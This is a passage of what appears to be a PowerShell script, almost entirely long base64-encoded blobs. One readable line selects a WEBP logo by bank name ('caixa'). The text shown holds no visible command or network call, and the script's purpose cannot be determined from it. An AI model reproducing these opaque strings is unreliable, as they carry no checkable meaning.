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" } elseif ($bankKey -like "*caixa*") { $logoData = "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